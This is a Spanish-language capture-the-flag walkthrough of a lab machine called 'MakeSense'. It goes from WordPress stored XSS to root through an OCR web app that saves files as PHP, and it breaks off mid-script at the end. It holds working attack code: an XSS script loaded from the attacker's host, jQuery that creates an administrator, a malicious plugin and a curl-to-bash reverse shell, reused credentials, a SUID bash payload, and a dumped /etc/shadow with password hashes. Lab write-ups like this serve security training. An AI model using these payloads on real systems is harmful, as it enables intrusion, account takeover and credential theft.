En MakeSense abusamos de un Stored XSS en un formulario de WordPress que nos permitio la creacion de un usuario administrador, para luego crear y ejecutar un plugin para acceso inicial. Credenciales para la configuracion de base de datos permitieron el acceso a un nuevo usuario. Escalamos privilegios a traves de un sitio web que ejecutaba Tesseract como root y permitia guardar texto a archivos con cualquier extension, esto permitio ejecutar codigo como root en archivos PHP.
Recon
nmap
nmap muestra multiples puertos abiertos: https (443), ssh (22) y filtrados los puertos 80, 8001.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
# Nmap 7.99 scan initiated Thu Jul 9 01:20:00 2026 as: /usr/lib/nmap/nmap --privileged -p22,80,443,8001 -sV -sC -oN nmap_scan 10.129.2.80
Nmap scan report for 10.129.2.80
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 27:c3:7d:10:17:3b:dc:29:cf:05:83:33:ab:28:d0:38 (ECDSA)
|_ 256 a3:46:f2:d7:1f:43:41:31:35:a2:88:31:ff:2a:0b:22 (ED25519)
80/tcp filtered http
443/tcp open ssl/http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-trane-info: Problem with XML parsing of /evox/about
| tls-alpn:
|_ http/1.1
|_http-title: Agency LLC
|_ssl-date: TLS randomness does not represent time
|_http-generator: WordPress 7.0
| ssl-cert: Subject: commonName=makesense.htb
| Not valid before: 2026-05-29T16:37:29
|_Not valid after: 2126-05-05T16:37:29
8001/tcp filtered vcom-tunnel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 9 01:20:33 2026 -- 1 IP address (1 host up) scanned in 32.81 seconds
|
Web Site
El sitio web ofrece soluciones web.

Se muestra al equipo, potencialmente nombres de usuarios.

Encontramos un formulario de contacto.

Web Tech
wappalyzer indica un WordPress como el CMS del sitio.

Directory Brute Forcing
feroxbuster muestra contenido relacionado a WordPress.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
❯ feroxbuster -k -u https://makesense.htb -w $CM
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.1
───────────────────────────┬──────────────────────
🎯 Target Url │ https://makesense.htb/
🚩 In-Scope Url │ makesense.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirb/common.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301 GET 0l 0w 0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 11l 39w 319c https://makesense.htb/wp-content/themes/webagency/style.css
200 GET 121l 264w 2205c https://makesense.htb/wp-content/themes/webagency/assets/css/custom.css
405 GET 1l 6w 42c https://makesense.htb/xmlrpc.php
400 GET 1l 1w 1c https://makesense.htb/wp-admin/admin-ajax.php
200 GET 2l 400w 13577c https://makesense.htb/wp-includes/js/jquery/jquery-migrate.min.js
200 GET 5l 79w 22762c https://makesense.htb/wp-includes/js/wp-emoji-release.min.js
200 GET 576l 1856w 19944c https://makesense.htb/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js
200 GET 586l 1683w 21554c https://makesense.htb/wp-content/themes/webagency/assets/js/main.js
200 GET 3l 1263w 87553c https://makesense.htb/wp-includes/js/jquery/jquery.min.js
200 GET 348l 1601w 34914c https://makesense.htb/
❯
|
WPScan
Se ejecuto wpscan para verificar plugins y temas vulnerables, tambien enumeracion de usuarios. Se indica WordPress version 7.0 y los usuarios: jake, admin y walter, como informacion relevante.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
|
❯ wpscan --url https://makesense.htb -e vp,u,vt --disable-tls-checks --no-banner
[+] URL: https://makesense.htb/ [10.129.2.80]
[+] Started: Thu Jul 9 01:47:36 2026
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.58 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: https://makesense.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: https://makesense.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: https://makesense.htb/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: https://makesense.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 7.0 identified (Latest, released on 2026-05-20).
| Found By: Meta Generator (Passive Detection)
| - https://makesense.htb/, Match: 'WordPress 7.0'
| Confirmed By: Atom Generator (Aggressive Detection)
| - https://makesense.htb/?feed=atom, <generator uri="https://wordpress.org/" version="7.0">WordPress</generator>
[+] WordPress theme in use: webagency
| Location: https://makesense.htb/wp-content/themes/webagency/
| Style URL: https://makesense.htb/wp-content/themes/webagency/style.css?ver=7.0
| Style Name: WebAgency
| Style URI: https://example.com
| Description: Modern web development agency theme with Tailwind CSS...
| Author: WebAgency Team
| Author URI: https://example.com
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.0 (80% confidence)
| Found By: Style (Passive Detection)
| - https://makesense.htb/wp-content/themes/webagency/style.css?ver=7.0, Match: 'Version: 1.0'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:03:37 <========================================================================================================> (652 / 652) 100.00% Time: 00:03:37
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] No themes Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:02 <==========================================================================================================> (10 / 10) 100.00% Time: 00:00:02
[i] User(s) Identified:
[+] jake
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] admin
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] walter
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Thu Jul 9 01:51:35 2026
[+] Requests Done: 1366
[+] Cached Requests: 12
[+] Data Sent: 362.361 KB
[+] Data Received: 22.563 MB
[+] Memory used: 344.184 MB
[+] Elapsed time: 00:03:59
❯
|
XSS to Admin - WordPress
Tras rellenar el formulario de contacto este muestra un mensaje:
Thank you for contacting us! We will get back to you soon.
Podria indicar una revision de este por parte de algun usuario. Agregamos un tag <script> definiendo un payload XSS.
1
|
<script src="http://10.10.14.215/a.js"></script>
|
Se indica un pequeno mensaje antes del envio.

Luego obtuvimos solicitudes desde la maquina, es muy posible que sea Stored XSS.
1
2
3
4
5
6
|
❯ httphere .
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.2.80 - - [09/Jul/2026 02:09:36] code 404, message File not found
10.129.2.80 - - [09/Jul/2026 02:09:36] "GET /a.js HTTP/1.1" 404 -
10.129.2.80 - - [09/Jul/2026 02:09:37] code 404, message File not found
10.129.2.80 - - [09/Jul/2026 02:09:37] "GET /a.js HTTP/1.1" 404 -
|
Admin User Creation
A traves del XSS encontrado creamos un nuevo usuario basados en el PoC mostrado en Exploiting an XSS Vulnerability in WordPress to Create an Admin Account: A Proof of Concept. Este realiza la creacion a traves de jQuery con los valores indicados. Creamos el archivo a.js indicando el codigo y realizamos una solicitud con el formulario.
1
2
3
4
5
6
7
8
9
10
11
12
|
u="/wp-admin/user-new.php";
jQuery.get(u,function(e){
jQuery.post(u,{
action:"createuser",
"_wpnonce_create-user":e.match(/_wpnonce_create-user" value="(.+?)"/)[1],
user_login:"sckull",
email:"sckull@htb.htb",
pass1:"5upp3rDupp3rP455",
pass2:"5upp3rDupp3rP455",
role:"administrator"
});
});
|
Tras obtener la solicitud, intentamos acceder con las credenciales, clic en This email is correct.

Esto nos permitio el acceso al dashboard de Wordpress con el nuevo usuario.

WordPress Dashboard
En Contact Submission encontramos todos los formularios enviados.

Malicious Plugin
Creamos un plugin para la ejecucion del comando whoami, subimos, activamos y visitamos la URL del archivo PHP para ejecutar el comando.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
❯ zip zero-plugin.zip -r zero-plugin
updating: zero-plugin/ (stored 0%)
updating: zero-plugin/hello.php (deflated 36%)
❯ unzip -l zero-plugin.zip
Archive: zero-plugin.zip
Length Date Time Name
--------- ---------- ----- ----
0 2026-07-09 03:11 zero-plugin/
348 2026-07-09 03:11 zero-plugin/hello.php
--------- -------
348 2 files
❯ cat zero-plugin/hello.php
<?php
/**
* Plugin Name: Hello World Admin Notice
* Plugin URI: https://example.com/hello-world
* Description: Displays a simple "Hello World!" message at the top of the WordPress Admin Dashboard.
* Version: 1.0.0
* Author: Your Name
* License: GPLv2 or later
*/
echo(system("whoami"));
?>
❯ curl -ks https://makesense.htb/wp-content/plugins/zero-plugin/hello.php; echo
www-data
www-data
❯
|
User - www-data
Editamos el plugin a traves del dashboard para la ejecucion de una shell inversa, logrando acceso como www-data.
1
2
3
4
5
6
7
8
9
10
11
|
# Codigo en plugin:
# echo(system("curl 10.10.14.215:8000/10.10.14.215:1336|bash"));
❯ rlwrap nc -lvp 1336
listening on [any] 1336 ...
connect to [10.10.14.215] from makesense.htb [10.129.2.80] 42474
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html/wp-admin
$
|
User - Walter
Dentro del archivo wp-config.php encontramos credenciales para el usuario walter para una base de datos wordpress de MySQL que no esta siendo utilizada.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
www-data@makesense:/var/www/html$ cat wp-config.php | grep -v "*"
<?php
// SQLite database configuration
define( 'DB_DIR', __DIR__ . '/wp-content/database/' );
define( 'DB_FILE', '.ht.sqlite' );
// Dummy MySQL settings (required but not used with SQLite)
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );
$table_prefix = 'wp_';
define( 'WP_DEBUG', false );
define('AUTH_KEY', '%88$_8C0xYR s^9jz;F epY,CO|+Up#ZFIdRS&Gqd~5O/|<^7DmLtEm=SjV|jmWZ');
define('NONCE_KEY', 's>>f8%soM5P=D$J9UXV-kF]lKZ92.KF%FDS#+! ;(A|C9kMWT(=A>99->-$$>UvU');
define('SECURE_AUTH_SALT', '-{[x4pgl %S5{_s}nE!%H8,05AO_699M4_[mLt^tVC$Kh4;s|n8~O<CSE4#uPWN.');
define('NONCE_SALT', 'j #rMhd[olj2$j8|QAF7L8rR-D kf&gs,:oX4py6x?6V3|oJ?[b~h,[~3uhH.|X%');
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
define( 'WP_SQLITE_PLUGIN', true );
require_once ABSPATH . 'wp-settings.php';
www-data@makesense:/var/www/html$
|
Dicho usuario existe en la maquina.
1
2
3
4
5
6
7
|
www-data@makesense:/var/www/html$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
walter:x:1000:1000:walter:/home/walter:/bin/bash
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
admin:x:1001:1001:,,,:/home/admin:/bin/bash
www-data@makesense:/var/www/html$
|
Cambiamos a este con la contrasena logrando el acceso a la flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
|
www-data@makesense:/var/www/html$ su walter
Password: JbhHDAEgXvri3!
walter@makesense:/var/www/html$ whoami;id
walter
uid=1000(walter) gid=1000(walter) groups=1000(walter)
walter@makesense:/var/www/html$ cd
walter@makesense:~$ ls
user.txt
walter@makesense:~$ cat user.txt
eaf7115d09658cf5cd3f5a87cc973864
walter@makesense:~$
|
Las credenciales son validas por SSH.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
❯ nxc ssh makesense.htb -u walter -p 'JbhHDAEgXvri3!'
SSH 10.129.2.80 22 makesense.htb [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.16
SSH 10.129.2.80 22 makesense.htb [+] walter:JbhHDAEgXvri3! Linux - Shell access!
❯ ssh walter@makesense.htb
The authenticity of host 'makesense.htb (10.129.2.80)' can't be established.
ED25519 key fingerprint is: SHA256:ZuPyKYvneacLwQJfW7aR8rIt6ppYCS22aWYI5nO3Ddk
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'makesense.htb' (ED25519) to the list of known hosts.
walter@makesense.htb's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-124-generic x86_64)
# [ ... cut ... ]
Last login: Thu Jul 9 07:17:31 2026 from 10.10.14.215
walter@makesense:~$ whoami;id;pwd
walter
uid=1000(walter) gid=1000(walter) groups=1000(walter)
/home/walter
walter@makesense:~$
|
Privesc
Port Forwarding
Localmente encontramos el puerto 8001 con autenticacion requerida.
1
2
3
4
5
6
7
8
9
10
11
12
|
walter@makesense:~$ ss -ntpl
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8001 0.0.0.0:*
LISTEN 0 511 0.0.0.0:443 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
walter@makesense:~$ curl 127.0.0.1:8001
walter@makesense:~$ curl 127.0.0.1:8001;echo
Authentication required.
walter@makesense:~$
|
Este mismo puerto aparece como un proceso en ejecucion de root como servidor local.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
walter@makesense:/dev/shm$ ps -ef | grep root
# [ ... cut ... ]
root 1078 2 0 05:15 ? 00:00:01 [kworker/1:2H+kblockd]
root 1162 1 0 05:16 ? 00:00:00 /usr/sbin/ModemManager
root 1376 1 0 05:16 ? 00:00:00 /usr/sbin/cron -f -P
root 1379 1376 0 05:16 ? 00:00:00 /usr/sbin/CRON -f -P
root 1392 1379 0 05:16 ? 00:00:00 /bin/sh -c /root/.scripts/start_ocr4.sh
root 1393 1392 0 05:16 ? 00:00:06 /bin/bash /root/.scripts/start_ocr4.sh
root 1404 1393 0 05:16 ? 00:00:00 php -S 127.0.0.1:8001 -t /root/ocr4/
root 1407 1 0 05:16 tty1 00:00:00 /sbin/agetty -o -p -- \u --noclear - linux
root 1410 1 0 05:16 ? 00:00:04 /usr/sbin/apache2 -k start
root 1733 1 0 05:17 ? 00:00:00 /usr/libexec/upowerd
root 2430 1 0 05:19 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 4733 2 0 05:28 ? 00:00:00 [kworker/u4:1-ext4-rsv-conversion]
root 5654 2 0 05:31 ? 00:00:03 [kworker/0:2-cgroup_free]
root 15015 2 0 06:07 ? 00:00:08 [kworker/1:2-events]
root 21138 2 0 06:30 ? 00:00:00 [kworker/u4:0-events_power_efficient]
root 26407 2 0 06:51 ? 00:00:00 [kworker/1:1-cgroup_free]
root 33416 2 0 07:15 ? 00:00:00 [kworker/u4:2-flush-8:0]
root 33735 33037 0 07:16 pts/0 00:00:00 su walter
root 33741 2 0 07:16 ? 00:00:00 [psimon]
root 34149 2430 0 07:17 ? 00:00:00 sshd: walter [priv]
root 34938 2430 0 07:19 ? 00:00:00 sshd: walter [priv]
walter 36146 34205 0 07:23 pts/1 00:00:00 grep --color=auto root
root 36147 1393 0 07:23 ? 00:00:00 sleep 1
walter@makesense:/dev/shm$
|
Realizamos port forwarding para obtener el puerto localmente.
1
|
ssh walter@makesense.htb -L 8001:localhost:8001 -fN
|
OCR4 - “Draw text. Read it back.”
Las credenciales de walter permitieron el acceso al sitio.

Se muestra un ‘formulario’ donde es posible dibujar texto.

Este lo reconoce y permite guardar en un archivo.

Al guardar un texto este muestra:
Saved as: saved/result.txt
Observamos su contenido bajo saved/result.txt.
1
2
3
|
❯ curl http://localhost:8001/saved/result.txt
HOL*<
❯
|
Al procesar un dibujo, pspy muestra la ejecucion de tesseract como root para extraer texto de la imagen.
1
|
2026/07/09 07:48:06 CMD: UID=0 PID=43458 | tesseract /root/ocr4/tmp/draw_6a4f523660db3.png /root/ocr4/tmp/out_6a4f523660db8
|
Shell
Para obtener una shell root debemos crear una imagen en texto con codigo PHP. Ya que comprobamos que podemos guardar el contenido del texto con cualquier extension y al ser un servidor PHP esta se ejecutaria. Creamos una imagen con texto en Photoshop con la fuente Comic Sans MS con codigo que incluye un archivo externo <?php include “/tmp/file“; ?>.

El archivo externo da permisos SUID a bash.
1
|
echo "<?php system('chmod +s /usr/bin/bash'); ?>" > /tmp/file
|
Realizamos la subida de la imagen con curl especificando Cookies + Authorization y obtenemos el OCR_ID, este lo utilizamos para guardar el archivo sh.php para finalmente realizar la solicitud y ejecutar el codigo. La cookie PHPSESSID pertenece a una sesion autenticada.
1
2
3
4
5
6
7
8
|
# 1 Capture the ID
OCR_ID=$(curl -sX POST http://localhost:8001/ -x http://localhost:8080 -H "Authorization: Basic d2FsdGVyOkpiaEhEQUVnWHZyaTMh" -b 'PHPSESSID=gr93kqk6mhnrt52lsp25c095v3' --data-urlencode "canvas_image=data:image/png;base64,$(base64 -w 0 /mnt/hgfs/sharedvm/image.png)" | grep ocr_ | cut -d '"' -f6)
# 2 Save file
curl -isk -x http://localhost:8080 -X 'POST' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Authorization: Basic d2FsdGVyOkpiaEhEQUVnWHZyaTMh' -b 'PHPSESSID=gr93kqk6mhnrt52lsp25c095v3' -d "ocr_id=$OCR_ID&filename=sh.php&save_output=Save" http://localhost:8001
# 3 Trigger execution
curl -H "Authorization: Basic d2FsdGVyOkpiaEhEQUVnWHZyaTMh" -b 'PHPSESSID=gr93kqk6mhnrt52lsp25c095v3' -s http://localhost:8001/saved/sh.php -x http://localhost:8080
|
Los permisos fueron agregados, ejecutamos con la flag -p logrando acceso root y a la flag root.txt.
1
2
3
4
5
6
7
8
9
10
11
|
walter@makesense:/tmp$ ls -lah /usr/bin/bash
-rwsr-xr-x 1 root root 1.4M Mar 31 2024 /usr/bin/bash
walter@makesense:/tmp$ /usr/bin/bash -p
bash-5.2# whoami
root
bash-5.2# cd /root
bash-5.2# ls
ocr4 root.txt
bash-5.2# cat root.txt
2cfcc5eef66a2766068b876f6c6690c7
bash-5.2#
|
Appendix
Dump Hashes
Realizamos la lectura del archivo /etc/shadow.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
bash-5.2# cat /etc/shadow
root:$y$j9T$oBMykAbyiOXMRmKow26tM0$k1tS0gbfGLr/iaC9BiWBsKCkC2G129/fuXrB1NZH9v4:20605:0:99999:7:::
daemon:*:20305:0:99999:7:::
bin:*:20305:0:99999:7:::
sys:*:20305:0:99999:7:::
sync:*:20305:0:99999:7:::
games:*:20305:0:99999:7:::
man:*:20305:0:99999:7:::
lp:*:20305:0:99999:7:::
mail:*:20305:0:99999:7:::
news:*:20305:0:99999:7:::
uucp:*:20305:0:99999:7:::
proxy:*:20305:0:99999:7:::
www-data:*:20305:0:99999:7:::
backup:*:20305:0:99999:7:::
list:*:20305:0:99999:7:::
irc:*:20305:0:99999:7:::
_apt:*:20305:0:99999:7:::
nobody:*:20305:0:99999:7:::
systemd-network:!*:20305::::::
systemd-timesync:!*:20305::::::
messagebus:!:20305::::::
systemd-resolve:!*:20305::::::
pollinate:!:20305::::::
polkitd:!*:20305::::::
syslog:!:20305::::::
uuidd:!:20305::::::
tcpdump:!:20305::::::
tss:!:20305::::::
landscape:!:20305::::::
fwupd-refresh:!*:20305::::::
usbmux:!:20598::::::
walter:$y$j9T$a2uh7EQC.6xLJwFDk1eN..$LWCFJkjTy2Hqe2qpvMXKy35gQWXhQyKTAYyEEgimEF4:20605:0:99999:7:::
sshd:!:20598::::::
admin:$y$j9T$/LYe2pddj/JHyMJ2OxrTu1$1dijnsIFMoSMX/7I6VLysZWgJj/odHFsPSqcqA/0Qy3:20602:0:99999:7:::
_laurel:!:20602::::::
bash-5.2#
|
Source Code
Codigo fuente de la aplicacion local PHP.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
|
bash-5.2# ls -lah
total 36K
drwxr-xr-x 4 root root 4.0K Jul 9 07:20 .
drwx------ 10 root root 4.0K Jul 9 05:16 ..
-rw-r--r-- 1 root root 14K Jun 1 14:51 index.php
-rw-r--r-- 1 root root 698 May 25 19:40 router.php
drwxr-xr-x 2 root root 4.0K Jul 9 09:46 saved
drwxr-xr-x 2 root root 4.0K Jul 9 10:12 tmp
bash-5.2# cat index.php
<?php
// ======================================
// AUTHENTICATION
// ======================================
session_start();
$AUTH_USER = 'walter';
$AUTH_PASS = 'JbhHDAEgXvri3!';
if (
!isset($_SERVER['PHP_AUTH_USER']) ||
!isset($_SERVER['PHP_AUTH_PW']) ||
$_SERVER['PHP_AUTH_USER'] !== $AUTH_USER ||
$_SERVER['PHP_AUTH_PW'] !== $AUTH_PASS
) {
header('WWW-Authenticate: Basic realm="OCR Protected"');
header('HTTP/1.0 401 Unauthorized');
echo 'Authentication required.';
exit;
}
// ======================================
// SETUP
// ======================================
$outputText = '';
$error = '';
$savedMessage = '';
$ocr_id = '';
$tmpDir = __DIR__ . '/tmp';
$saveDir = __DIR__ . '/saved';
if (!is_dir($tmpDir)) mkdir($tmpDir, 0755, true);
if (!is_dir($saveDir)) mkdir($saveDir, 0755, true);
// Initialize OCR session storage
if (!isset($_SESSION['ocr_results'])) {
$_SESSION['ocr_results'] = [];
}
// ======================================
// HANDLE DRAWN IMAGE OCR
// ======================================
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['canvas_image'])) {
$data = $_POST['canvas_image'];
if (!preg_match('/^data:image\/png;base64,/', $data)) {
$error = 'Invalid image data.';
} else {
$data = str_replace('data:image/png;base64,', '', $data);
$data = base64_decode($data);
$imagePath = $tmpDir . '/' . uniqid('draw_') . '.png';
$outputBase = $tmpDir . '/' . uniqid('out_');
file_put_contents($imagePath, $data);
$command = "tesseract " .
escapeshellarg($imagePath) . " " .
escapeshellarg($outputBase);
exec($command . " 2>&1", $execOutput, $returnCode);
if ($returnCode !== 0) {
$error = 'Tesseract failed to process the drawing.';
} else {
$textFile = $outputBase . '.txt';
if (file_exists($textFile)) {
$outputText = file_get_contents($textFile);
// Store OCR result server-side
$ocr_id = uniqid('ocr_', true);
$_SESSION['ocr_results'][$ocr_id] = $outputText;
}
}
@unlink($imagePath);
@unlink($outputBase . '.txt');
}
}
// ======================================
// HANDLE SAVE OUTPUT SECURELY
// ======================================
if ($_SERVER['REQUEST_METHOD'] === 'POST' &&
isset($_POST['save_output'], $_POST['ocr_id'], $_POST['filename'])) {
$ocr_id_post = $_POST['ocr_id'];
if (!isset($_SESSION['ocr_results'][$ocr_id_post])) {
$error = "Invalid OCR request. Cannot save.";
} else {
$outputText = $_SESSION['ocr_results'][$ocr_id_post];
// Optionally remove OCR from session after save
unset($_SESSION['ocr_results'][$ocr_id_post]);
$filename = basename($_POST['filename']);
$filename = preg_replace('/[^a-zA-Z0-9._-]/', '_', $filename);
$filePath = $saveDir . '/' . $filename;
file_put_contents($filePath, $outputText);
$savedMessage = "Saved as: saved/$filename";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>MakeSense</title>
<style>
<!-- cut -->
</style>
</head>
<body>
<main class="shell">
<p class="wordmark">MakeSense</p>
<h1>Draw text.<br>Read it back.</h1>
<p class="lede">Sketch a word or short phrase with your cursor or finger. The recognizer returns the plain text, ready to save to a file.</p>
<div class="canvas-wrap">
<canvas id="canvas" width="500" height="200"></canvas>
</div>
<div class="tools">
<div class="stroke-group">
<span class="label">Stroke</span>
<button type="button" class="stroke-opt" data-w="2">Fine</button>
<button type="button" class="stroke-opt active" data-w="4">Medium</button>
<button type="button" class="stroke-opt" data-w="7">Bold</button>
</div>
<div class="action-group">
<button type="button" class="link-btn" onclick="clearCanvas()">Clear</button>
<button type="button" class="solid-btn" onclick="sendCanvas()">Recognize</button>
</div>
</div>
<form method="post" id="canvasForm" style="display:none;">
<input type="hidden" name="canvas_image" id="canvas_image">
</form>
<?php if ($error): ?>
<p class="notice error reveal"><?= htmlspecialchars($error) ?></p>
<?php endif; ?>
<?php if ($outputText): ?>
<div class="result-block reveal">
<p class="caption">Recognized</p>
<p class="output-text"><?= htmlspecialchars($outputText) ?></p>
<form method="post">
<p class="caption">Save as</p>
<input type="hidden" name="ocr_id" value="<?= htmlspecialchars($ocr_id) ?>">
<div class="save-row">
<input type="text" name="filename" placeholder="result.txt" required>
<button type="submit" name="save_output" class="solid-btn">Save</button>
</div>
</form>
</div>
<?php endif; ?>
<?php if ($savedMessage): ?>
<p class="notice success reveal"><?= htmlspecialchars($savedMessage) ?></p>
<?php endif; ?>
</main>
<script>
const canvas = document.getElementById('canvas');
const ctx = canvas.getContext('2d');
let drawing = false;
ctx.lineWidth = 4;
ctx.lineCap = 'round';
ctx.lineJoin = 'round';
ctx.strokeStyle = '#0a0a0a';
document.querySelectorAll('.stroke-opt').forEach(btn => {
btn.addEventListener('click', () => {
document.querySelectorAll('.stroke-opt').forEach(b => b.classList.remove('active'));
btn.classList.add('active');
ctx.lineWidth = parseFloat(btn.dataset.w);
});
});
function pos(e) {
const rect = canvas.getBoundingClientRect();
const scaleX = canvas.width / rect.width;
const scaleY = canvas.height / rect.height;
const point = e.touches ? e.touches[0] : e;
return {
x: (point.clientX - rect.left) * scaleX,
y: (point.clientY - rect.top) * scaleY,
};
}
function start(e) {
e.preventDefault();
drawing = true;
const p = pos(e);
ctx.beginPath();
ctx.moveTo(p.x, p.y);
}
function move(e) {
if (!drawing) return;
e.preventDefault();
const p = pos(e);
ctx.lineTo(p.x, p.y);
ctx.stroke();
}
function end() { drawing = false; }
canvas.addEventListener('mousedown', start);
canvas.addEventListener('mousemove', move);
canvas.addEventListener('mouseup', end);
canvas.addEventListener('mouseleave', end);
canvas.addEventListener('touchstart', start, { passive: false });
canvas.addEventListener('touchmove', move, { passive: false });
canvas.addEventListener('touchend', end);
document.addEventListener('keydown', e => {
